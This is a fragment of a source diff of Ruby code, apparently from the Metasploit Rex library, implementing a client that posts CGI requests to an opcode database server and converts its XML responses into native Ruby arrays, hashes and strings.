+ # Retrieves the last raw XML response to be processed.
709
+ #
710
+ attr_reader :last_xml
711
+
712
+ protected
713
+
714
+ #
715
+ # Transmits a request to the Opcode database server and translates the
716
+ # response into a native general ruby datatype.
717
+ #
718
+ def request(method, opts = {})
719
+ client = Rex::Proto::Http::Client.new(server_host, server_port)
720
+
721
+ begin
722
+
723
+ # Create the CGI parameter list
724
+ vars = { 'method' => method }
725
+
726
+ opts.each_pair do |k, v|
727
+ vars[k] = xlate_param(v)
728
+ end
729
+
730
+ client.set_config('uri_encode_mode' => 'none')
731
+
732
+ # Initialize the request with the POST body.
733
+ request = client.request_cgi(
734
+ 'method' => 'POST',
735
+ 'uri' => server_uri,
736
+ 'vars_post' => vars
737
+ )
738
+
739
+ # Send the request and grab the response.
740
+ response = client.send_recv(request, 300)
741
+
742
+ # Non-200 return code?
743
+ if (response.code != 200)
744
+ raise RuntimeError, "Invalid response received from server."
745
+ end
746
+
747
+ # Convert the return value to the native type.
748
+ parse_response(response.body)
749
+ rescue ::SocketError
750
+ raise RuntimeError, "Could not communicate with the opcode service: #{$!.class} #{$!}"
751
+ ensure
752
+ client.close
753
+ end
754
+ end
755
+
756
+ #
757
+ # Translates a parameter into a flat CGI parameter string.
758
+ #
759
+ def xlate_param(v)
760
+ if (v.kind_of?(Array))
761
+ v.map { |ent|
762
+ xlate_param(ent)
763
+ }.join(',,')
764
+ elsif (v.kind_of?(Hash))
765
+ v.map { |k,v|
766
+ "#{URI.escape(k)}:#{xlate_param(v)}" if (v)
767
+ }.join(',,')
768
+ else
769
+ URI.escape(v.to_s)
770
+ end
771
+ end
772
+
773
+ #
774
+ # Translate the data type from a flat string to a ruby native type.
775
+ #
776
+ def parse_response(xml)
777
+ @last_xml = xml
778
+
779
+ if (!@disable_parse)
780
+ source = REXML::Source.new(xml)
781
+ doc = REXML::Document.new
782
+
783
+ REXML::Parsers::TreeParser.new(source, doc).parse
784
+
785
+ translate_element(doc.root)
786
+ end
787
+ end
788
+
789
+ #
790
+ # Translate elements conveyed as data types.
791
+ #
792
+ def translate_element(element)
793
+ case element.name
794
+ when "Array"
795
+ return element.elements.map { |child| translate_element(child) }
796
+ when "Hash"
797
+ hsh = {}
798
+
799
+ element.each_element { |child|
800
+ if (e = child.elements[1])
801
+ v = translate_element(e)
802
+ else
803
+ v = child.text
804
+ end
805
+
806
+ hsh[child.attributes['name']] = v
807
+ }
808
+
809
+ return hsh
810
+ else
811
+ return element.text
812
+ end
813
+ end
814
+
815
+ end
816
+
817
+ end
818
+ end
819
+ end